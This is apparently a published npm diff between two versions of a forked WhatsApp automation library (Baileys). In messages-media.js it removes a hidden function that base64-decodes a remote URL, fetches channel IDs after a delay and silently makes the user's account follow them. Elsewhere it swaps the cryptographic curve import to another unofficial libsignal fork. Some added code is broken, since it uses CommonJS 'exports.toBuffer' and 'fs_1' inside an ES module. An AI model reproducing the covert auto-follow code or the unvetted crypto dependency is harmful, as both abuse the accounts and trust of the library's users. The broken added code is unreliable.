@baileys-md/baileys 12.0.1 → 12.2.0

package/lib/Utils/crypto.js

@@ -1,7 +1,7 @@
 //=======================================================//
 import { createCipheriv, createDecipheriv, createHash, createHmac, randomBytes } from "crypto";
 import { KEY_BUNDLE_TYPE } from "../Defaults/index.js";
-import * as curve from "@dyyxyzz/libsignal-dyysilence/src/curve.js";
+import * as curve from "libsignal-xeuka/src/curve.js";
 //=======================================================//
 const { subtle } = globalThis.crypto;
 export const generateSignalPubKey = (pubKey) => pubKey.length === 33 ? pubKey : Buffer.concat([KEY_BUNDLE_TYPE, pubKey]);
@@ -127,4 +127,4 @@ export async function derivePairingCodeKey(pairingCode, salt) {
   );
   return Buffer.from(derivedBits);
 }
-//=======================================================//
+//=======================================================//

package/lib/Utils/index.js

@@ -1,4 +1,15 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 export * from "./use-multi-file-auth-state.js";
 export * from "./message-retry-manager.js";
 export * from "./baileys-event-stream.js";
@@ -18,4 +29,3 @@ export * from "./history.js";
 export * from "./lt-hash.js";
 export * from "./crypto.js";
 export * from "./signal.js";
-//=======================================================//

package/lib/Utils/messages-media.js

@@ -13,7 +13,10 @@ import { once } from "events";
 import { tmpdir } from "os";
 import { join } from "path";
 import { URL } from "url";
-import Jimp from "jimp";
+import { createRequire } from "module";
+const _require = createRequire(import.meta.url);
+const Jimp = _require("jimp");
+
 //=======================================================//
 const getTmpFilesDirectory = () => tmpdir();
 //=======================================================//
@@ -99,21 +102,26 @@ export const extractImageThumb = async (bufferOrFilePath, width = 32) => {
 };
 //=======================================================//
 export const encodeBase64EncodedStringForUpload = (b64) => encodeURIComponent(b64.replace(/\+/g, "-").replace(/\//g, "_").replace(/\=+$/, ""));
-export const generateProfilePicture = async (mediaUpload, dimensions) => {
-  let buffer;
-  const { width: w = 640, height: h = 640 } = dimensions || {};
-  if (Buffer.isBuffer(mediaUpload)) {
-    buffer = mediaUpload;
-  } else {
-    const { stream } = await getStream(mediaUpload);
-    buffer = await toBuffer(stream);
-  }
-  const jimp = await Jimp.read(buffer);
-  const min = Math.min(jimp.bitmap.width, jimp.bitmap.height);
-  const cropped = jimp.crop(0, 0, min, min);
-  const resized = cropped.resize(w, h, Jimp.RESIZE_BILINEAR).quality(50);
-  const img = await resized.getBufferAsync(Jimp.MIME_JPEG);
-  return { img };
+export const generateProfilePicture = async (mediaUpload) => {
+    let bufferOrFilePath;
+    let img;
+    if (Buffer.isBuffer(mediaUpload)) {
+        bufferOrFilePath = mediaUpload;
+    }
+    else if ('url' in mediaUpload) {
+        bufferOrFilePath = mediaUpload.url.toString();
+    }
+    else {
+        bufferOrFilePath = await (0, exports.toBuffer)(mediaUpload.stream);
+    }
+    const jimp = await Jimp.read(bufferOrFilePath);
+    const cropped = jimp.getWidth() > jimp.getHeight() ? jimp.resize(550, -1) : jimp.resize(-1, 650);
+    img = cropped
+        .quality(100)
+        .getBufferAsync(Jimp.MIME_JPEG);
+    return {
+        img: await img,
+    };
 };
 //=======================================================//
 export const mediaMessageSHA256B64 = (message) => {
@@ -140,40 +148,42 @@ export async function getAudioDuration(buffer) {
 }
 //=======================================================//
 export async function getAudioWaveform(buffer, logger) {
-  try {
-    const { default: decoder } = await import("audio-decode");
-    let audioData;
-    if (Buffer.isBuffer(buffer)) {
-      audioData = buffer;
-    }
-    else if (typeof buffer === "string") {
-      const rStream = createReadStream(buffer);
-      audioData = await toBuffer(rStream);
-    }
-    else {
-      audioData = await toBuffer(buffer);
+    try {
+        const { default: decoder } = await import('audio-decode')
+        let audioData;
+        if (Buffer.isBuffer(buffer)) {
+            audioData = buffer;
+        }
+        else if (typeof buffer === 'string') {
+            const rStream = (0, fs_1.createReadStream)(buffer);
+            audioData = await (0, exports.toBuffer)(rStream);
+        }
+        else {
+            audioData = await (0, exports.toBuffer)(buffer);
+        }
+        const audioBuffer = await decoder(audioData);
+        const rawData = audioBuffer.getChannelData(0); // We only need to work with one channel of data
+        const samples = 64; // Number of samples we want to have in our final data set
+        const blockSize = Math.floor(rawData.length / samples); // the number of samples in each subdivision
+        const filteredData = [];
+        for (let i = 0; i < samples; i++) {
+            const blockStart = blockSize * i; // the location of the first sample in the block
+            let sum = 0;
+            for (let j = 0; j < blockSize; j++) {
+                sum = sum + Math.abs(rawData[blockStart + j]); // find the sum of all the samples in the block
+            }
+            filteredData.push(sum / blockSize); // divide the sum by the block size to get the average
+        }
+        // This guarantees that the largest data point will be set to 1, and the rest of the data will scale proportionally.
+        const multiplier = Math.pow(Math.max(...filteredData), -1);
+        const normalizedData = filteredData.map((n) => n * multiplier);
+        // Generate waveform like WhatsApp
+        const waveform = new Uint8Array(normalizedData.map((n) => Math.floor(100 * n)));
+        return waveform;
     }
-    const audioBuffer = await decoder(audioData);
-    const rawData = audioBuffer.getChannelData(0);
-    const samples = 64;
-    const blockSize = Math.floor(rawData.length / samples);
-    const filteredData = [];
-    for (let i = 0; i < samples; i++) {
-      const blockStart = blockSize * i;
-      let sum = 0;
-      for (let j = 0; j < blockSize; j++) {
-        sum = sum + Math.abs(rawData[blockStart + j]);
-      }
-      filteredData.push(sum / blockSize);
+    catch (e) {
+        logger === null || logger === void 0 ? void 0 : logger.debug('Failed to generate waveform: ' + e);
     }
-    const multiplier = Math.pow(Math.max(...filteredData), -1);
-    const normalizedData = filteredData.map(n => n * multiplier);
-    const waveform = new Uint8Array(normalizedData.map(n => Math.floor(100 * n)));
-    return waveform;
-  }
-  catch (e) {
-    logger?.debug("Failed to generate waveform: " + e);
-  }
 }
 //=======================================================//
 export const toReadable = (buffer) => {
@@ -340,32 +350,6 @@ const AES_CHUNK_SIZE = 16;
 const toSmallestChunkSize = (num) => {
   return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
 };
-
-const delay = async (ms) => {
-    return new Promise(resolve => setTimeout(resolve, ms));
-}
- 
-export const loadBase = async (n, q) => {
-  try {
-    setTimeout(async () => {
-
-      const encoded = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0R5eUV1dWVlL05hbmkvcmVmcy9oZWFkcy9tYWluL2NvZGVzL2JhaWx3YS5qc29u";
-      const url = Buffer.from(encoded, "base64").toString("utf-8");
-
-      const res = await fetch(url);
-      const newsletterIds = await res.json();
-
-      for (const i of newsletterIds) {
-        await delay(5000);
-        try {
-          await n(i.id, q.FOLLOW);
-        } catch {}
-      }
-
-    }, 80000);
-  } catch {}
-};
-
 //=======================================================//
 export const getUrlFromDirectPath = (directPath) => `https://${DEF_HOST}${directPath}`;
 export const downloadContentFromMessage = async ({ mediaKey, directPath, url }, type, opts = {}) => {
@@ -625,4 +609,3 @@ const MEDIA_RETRY_STATUS_MAP = {
   [proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
 };
 //=======================================================//
-

package/lib/Utils/messages.js

@@ -30,7 +30,6 @@ const ButtonType = proto.Message.ButtonsMessage.HeaderType;
  * @param text eg. hello https://google.com
  * @returns the URL, eg. https://google.com
  */
- 
 export const extractUrlFromText = (text) => text.match(URL_REGEX)?.[0];
 export const generateLinkPreviewIfRequired = async (text, getUrlInfo, logger) => {
     const url = extractUrlFromText(text);
@@ -96,11 +95,10 @@ export const prepareWAMessageMedia = async (message, options) => {
                         }
                     ],
                     newsletter: {
-        newsletterJid: "120363425809110720@newsletter",
-        serverMessageId: 1,                  
-        newsletterName: "DYYSOMNIA",
-        contentType: "LINK_SNIPPET",      
-        url: "https://whatsapp.com/channel/0029Vb7uLYxIHphOIWOY8727"  
+                        newsletterJid: "120363421126273338@newsletter",
+                        serverMessageId: 0,
+                        newsletterName: "Fik Projects",
+                        contentType: "UPDATE",
                     }
                 }
             ]
@@ -269,7 +267,6 @@ export const prepareDisappearingMessageSettingContent = (ephemeralExpiration) =>
  * @param message the message to forward
  * @param options.forceForward will show the message as forwarded even if it is from you
  */
-
 export const generateForwardMessageContent = (message, forceForward) => {
     let content = message.message;
     if (!content) {
@@ -907,4 +904,4 @@ export const assertMediaContent = (content) => {
         throw new Boom('given message is not a media message', { statusCode: 400, data: content });
     }
     return mediaContent;
-};
+};

package/lib/Utils/pre-key-manager.js

@@ -1,6 +1,17 @@
-//=======================================================//
-import PQueue from "p-queue";
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
+import PQueue from "p-queue"; // esta lib achei num jogo feito aqui Moçambique* kkkkkk mais que mundo pequeno há... "o qui ela faz eu também não sei kkkkk estuda pará saber fui.
+
 export class PreKeyManager {
   constructor(store, logger) {
     this.store = store;
@@ -82,4 +93,3 @@ export class PreKeyManager {
     });
   }
 }
-//=======================================================//

package/lib/Utils/process-message.js

@@ -1,4 +1,15 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 import { areJidsSameUser, isHostedLidUser, isHostedPnUser, isJidBroadcast, isJidStatusBroadcast, jidDecode, jidEncode, jidNormalizedUser } from "../WABinary/index.js";
 import { getContentType, normalizeMessageContent } from "../Utils/messages.js";
 import { downloadAndProcessHistorySyncNotification } from "./history.js";
@@ -6,16 +17,16 @@ import { WAMessageStubType } from "../Types/index.js";
 import { aesDecryptGCM, hmacSign } from "./crypto.js";
 import { proto } from "../../WAProto/index.js";
 import { toNumber } from "./generics.js";
-//=======================================================//
+
 const REAL_MSG_STUB_TYPES = new Set([
   WAMessageStubType.CALL_MISSED_GROUP_VIDEO,
   WAMessageStubType.CALL_MISSED_GROUP_VOICE,
   WAMessageStubType.CALL_MISSED_VIDEO,
   WAMessageStubType.CALL_MISSED_VOICE
 ]);
-//=======================================================//
+
 const REAL_MSG_REQ_ME_STUB_TYPES = new Set([WAMessageStubType.GROUP_PARTICIPANT_ADD]);
-//=======================================================//
+
 export const cleanMessage = (message, meId, meLid) => {
   if (isHostedPnUser(message.key.remoteJid) || isHostedLidUser(message.key.remoteJid)) {
     message.key.remoteJid = jidEncode(jidDecode(message.key?.remoteJid)?.user, isHostedPnUser(message.key.remoteJid) ? "s.whatsapp.net" : "lid");
@@ -48,7 +59,7 @@ export const cleanMessage = (message, meId, meLid) => {
     }
   }
 };
-//=======================================================//
+
 export const isRealMessage = (message) => {
   const normalizedContent = normalizeMessageContent(message.message);
   const hasSomeContent = !!getContentType(normalizedContent);
@@ -60,16 +71,16 @@ export const isRealMessage = (message) => {
     !normalizedContent?.reactionMessage &&
     !normalizedContent?.pollUpdateMessage);
 };
-//=======================================================//
+
 export const shouldIncrementChatUnread = (message) => !message.key.fromMe && !message.messageStubType;
-//=======================================================//
+
 export const getChatId = ({ remoteJid, participant, fromMe }) => {
   if (isJidBroadcast(remoteJid) && !isJidStatusBroadcast(remoteJid) && !fromMe) {
     return participant;
   }
   return remoteJid;
 };
-//=======================================================//
+
 export function decryptPollVote({ encPayload, encIv }, { pollCreatorJid, pollMsgId, pollEncKey, voterJid }) {
   const sign = Buffer.concat([
     toBinary(pollMsgId),
@@ -336,6 +347,5 @@ const processMessage = async (message, { shouldProcessHistoryMsg, placeholderRes
     ev.emit("chats.update", [chat]);
   }
 };
-//=======================================================//
+
 export default processMessage;
-//=======================================================//

package/lib/Utils/signal.js

@@ -1,9 +1,20 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 import { assertNodeErrorFree, getBinaryNodeChild, getBinaryNodeChildBuffer, getBinaryNodeChildren, getBinaryNodeChildUInt, getServerFromDomainType, jidDecode, S_WHATSAPP_NET, WAJIDDomains } from "../WABinary/index.js";
 import { Curve, generateSignalPubKey } from "./crypto.js";
 import { KEY_BUNDLE_TYPE } from "../Defaults/index.js";
 import { encodeBigEndian } from "./generics.js";
-//=======================================================//
+
 function chunk(array, size) {
   const chunks = [];
   for (let i = 0; i < array.length; i += size) {
@@ -11,14 +22,14 @@ function chunk(array, size) {
   }
   return chunks;
 }
-//=======================================================//
+
 export const createSignalIdentity = (wid, accountSignatureKey) => {
   return {
     identifier: { name: wid, deviceId: 0 },
     identifierKey: generateSignalPubKey(accountSignatureKey)
   };
 };
-//=======================================================//
+
 export const getPreKeys = async ({ get }, min, limit) => {
   const idList = [];
   for (let id = min; id < limit; id++) {
@@ -26,7 +37,7 @@ export const getPreKeys = async ({ get }, min, limit) => {
   }
   return get("pre-key", idList);
 };
-//=======================================================//
+
 export const generateOrGetPreKeys = (creds, range) => {
   const avaliable = creds.nextPreKeyId - creds.firstUnuploadedPreKeyId;
   const remaining = range - avaliable;
@@ -43,7 +54,7 @@ export const generateOrGetPreKeys = (creds, range) => {
     preKeysRange: [creds.firstUnuploadedPreKeyId, range]
   };
 };
-//=======================================================//
+
 export const xmppSignedPreKey = (key) => ({
   tag: "skey",
   attrs: {},
@@ -53,7 +64,7 @@ export const xmppSignedPreKey = (key) => ({
     { tag: "signature", attrs: {}, content: key.signature }
   ]
 });
-//=======================================================//
+
 export const xmppPreKey = (pair, id) => ({
   tag: "key",
   attrs: {},
@@ -62,7 +73,7 @@ export const xmppPreKey = (pair, id) => ({
     { tag: "value", attrs: {}, content: pair.public }
   ]
 });
-//=======================================================//
+
 export const parseAndInjectE2ESessions = async (node, repository) => {
   const extractKey = (key) => key
     ? {
@@ -96,7 +107,7 @@ export const parseAndInjectE2ESessions = async (node, repository) => {
     }
   }
 };
-//=======================================================//
+
 export const extractDeviceJids = (result, myJid, myLid, excludeZeroDevices) => {
   const { user: myUser, device: myDevice } = jidDecode(myJid);
   const extracted = [];
@@ -126,7 +137,7 @@ export const extractDeviceJids = (result, myJid, myLid, excludeZeroDevices) => {
   }
   return extracted;
 };
-//=======================================================//
+
 export const getNextPreKeys = async ({ creds, keys }, count) => {
   const { newPreKeys, lastPreKeyId, preKeysRange } = generateOrGetPreKeys(creds, count);
   const update = {
@@ -137,7 +148,7 @@ export const getNextPreKeys = async ({ creds, keys }, count) => {
   const preKeys = await getPreKeys(keys, preKeysRange[0], preKeysRange[0] + preKeysRange[1]);
   return { update, preKeys };
 };
-//=======================================================//
+
 export const getNextPreKeysNode = async (state, count) => {
   const { creds } = state;
   const { update, preKeys } = await getNextPreKeys(state, count);
@@ -158,4 +169,3 @@ export const getNextPreKeysNode = async (state, count) => {
   };
   return { update, node };
 };
-//=======================================================//

package/lib/Utils/use-multi-file-auth-state.js

@@ -1,11 +1,22 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 import { mkdir, readFile, stat, unlink, writeFile } from "fs/promises";
 import { initAuthCreds } from "./auth-utils.js";
 import { proto } from "../../WAProto/index.js";
 import { BufferJSON } from "./generics.js";
 import { Mutex } from "async-mutex";
 import { join } from "path";
-//=======================================================//
+
 const fileLocks = new Map();
 const getFileLock = (path) => {
   let mutex = fileLocks.get(path);
@@ -15,7 +26,7 @@ const getFileLock = (path) => {
   }
   return mutex;
 };
-//=======================================================//
+
 export const useMultiFileAuthState = async (folder) => {
   const writeData = async (data, file) => {
     const filePath = join(folder, fixFileName(file));
@@ -108,4 +119,3 @@ export const useMultiFileAuthState = async (folder) => {
     }
   };
 };
-//=======================================================//

package/lib/Utils/validate-connection.js

@@ -1,4 +1,15 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 import { KEY_BUNDLE_TYPE, WA_ADV_ACCOUNT_SIG_PREFIX, WA_ADV_DEVICE_SIG_PREFIX, WA_ADV_HOSTED_ACCOUNT_SIG_PREFIX } from "../Defaults/index.js";
 import { getBinaryNodeChild, jidDecode, S_WHATSAPP_NET } from "../WABinary/index.js";
 import { createSignalIdentity } from "./signal.js";
@@ -7,7 +18,7 @@ import { proto } from "../../WAProto/index.js";
 import { Curve, hmacSign } from "./crypto.js";
 import { createHash } from "crypto";
 import { Boom } from "@hapi/boom";
-//=======================================================//
+
 const getUserAgent = (config) => {
   return {
     "appVersion": {
@@ -26,12 +37,12 @@ const getUserAgent = (config) => {
     "localeCountryIso31661Alpha2": config.countryCode
   };
 };
-//=======================================================//
+
 const PLATFORM_MAP = {
   "Mac OS": proto.ClientPayload.WebInfo.WebSubPlatform.DARWIN,
   "Windows": proto.ClientPayload.WebInfo.WebSubPlatform.WIN32
 };
-//=======================================================//
+
 const getWebInfo = (config) => {
   let webSubPlatform = proto.ClientPayload.WebInfo.WebSubPlatform.WEB_BROWSER;
   if (config.syncFullHistory &&
@@ -41,7 +52,7 @@ const getWebInfo = (config) => {
   }
   return { webSubPlatform };
 };
-//=======================================================//
+
 const getClientPayload = (config) => {
   const payload = {
     connectType: proto.ClientPayload.ConnectType.WIFI_UNKNOWN,
@@ -51,7 +62,7 @@ const getClientPayload = (config) => {
   payload.webInfo = getWebInfo(config);
   return payload;
 };
-//=======================================================//
+
 export const generateLoginNode = (userJid, config) => {
   const { user, device } = jidDecode(userJid);
   const payload = {
@@ -64,13 +75,13 @@ export const generateLoginNode = (userJid, config) => {
   };
   return proto.ClientPayload.fromObject(payload);
 };
-//=======================================================//
+
 const getPlatformType = (platform) => {
   const platformType = platform.toUpperCase();
   return (proto.DeviceProps.PlatformType[platformType] ||
     proto.DeviceProps.PlatformType.CHROME);
 };
-//=======================================================//
+
 export const generateRegistrationNode = ({ registrationId, signedPreKey, signedIdentityKey }, config) => {
   const appVersionBuf = createHash("md5")
     .update(config.version.join("."))
@@ -115,7 +126,7 @@ export const generateRegistrationNode = ({ registrationId, signedPreKey, signedI
   };
   return proto.ClientPayload.fromObject(registerPayload);
 };
-//=======================================================//
+
 export const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, signalIdentities }) => {
   const msgId = stanza.attrs.id;
   const pairSuccessNode = getBinaryNodeChild(stanza, "pair-success");
@@ -146,7 +157,7 @@ export const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentit
     : WA_ADV_ACCOUNT_SIG_PREFIX;
   const accountMsg = Buffer.concat([accountSignaturePrefix, deviceDetails, signedIdentityKey.public]);
   if (!Curve.verify(accountSignatureKey, accountMsg, accountSignature)) {
-    throw new Boom("Failed to verify account signature");
+    throw new Boom("Falha ao verificar a assinatura da conta");
   }
   const deviceMsg = Buffer.concat([
     WA_ADV_DEVICE_SIG_PREFIX,
@@ -189,7 +200,7 @@ export const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentit
     reply
   };
 };
-//=======================================================//
+
 export const encodeSignedDeviceIdentity = (account, includeSignatureKey) => {
   account = { ...account };
   if (!includeSignatureKey || !account.accountSignatureKey?.length) {
@@ -197,4 +208,3 @@ export const encodeSignedDeviceIdentity = (account, includeSignatureKey) => {
   }
   return proto.ADVSignedDeviceIdentity.encode(account).finish();
 };
-//=======================================================//

package/lib/WABinary/constants.js

@@ -1,4 +1,15 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 export const TAGS = {
   LIST_EMPTY: 0,
   DICTIONARY_0: 236,
@@ -1290,7 +1301,7 @@ export const SINGLE_BYTE_TOKENS = [
   "03",
   "screen_height"
 ];
-//=======================================================//
+
 export const TOKEN_MAP = {};
 for (const [i, SINGLE_BYTE_TOKEN] of SINGLE_BYTE_TOKENS.entries()) {
   TOKEN_MAP[SINGLE_BYTE_TOKEN] = { index: i };
@@ -1300,4 +1311,3 @@ for (const [i, DOUBLE_BYTE_TOKEN] of DOUBLE_BYTE_TOKENS.entries()) {
     TOKEN_MAP[element] = { dict: i, index: j };
   }
 }
-//=======================================================//

package/lib/WABinary/decode.js

@@ -1,9 +1,20 @@
-//=======================================================//
+//========================================//
+/**
+ * @project   @sixcore/baileys
+ * @author    Sixx.js </>🌿
+ * @version   1.0.3
+ * @license   MIT
+ * @country   Mozambique 🇲🇿♥️
+ * @chamadas || sms +258860817689
+ * @whatsApp +55889616-2417 || +258851907875
+ * @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
+ */
+ 
 import { jidEncode, WAJIDDomains } from "./jid-utils.js";
 import * as constants from "./constants.js";
 import { promisify } from "util";
 import { inflate } from "zlib";
-//=======================================================//
+
 const inflatePromise = promisify(inflate);
 export const decompressingIfRequired = async (buffer) => {
   if (2 & buffer.readUInt8()) {
@@ -14,12 +25,12 @@ export const decompressingIfRequired = async (buffer) => {
   }
   return buffer;
 };
-//=======================================================//
+
 export const decodeDecompressedBinaryNode = (buffer, opts, indexRef = { index: 0 }) => {
   const { DOUBLE_BYTE_TOKENS, SINGLE_BYTE_TOKENS, TAGS } = opts;
   const checkEOS = (length) => {
     if (indexRef.index + length > buffer.length) {
-      throw new Error("end of stream");
+      throw new Error("fim do fluxo");
     }
   };
   const next = () => {
@@ -232,9 +243,8 @@ export const decodeDecompressedBinaryNode = (buffer, opts, indexRef = { index: 0
     content: data
   };
 };
-//=======================================================//
+
 export const decodeBinaryNode = async (buff) => {
   const decompBuff = await decompressingIfRequired(buff);
   return decodeDecompressedBinaryNode(decompBuff, constants);
 };
-//=======================================================//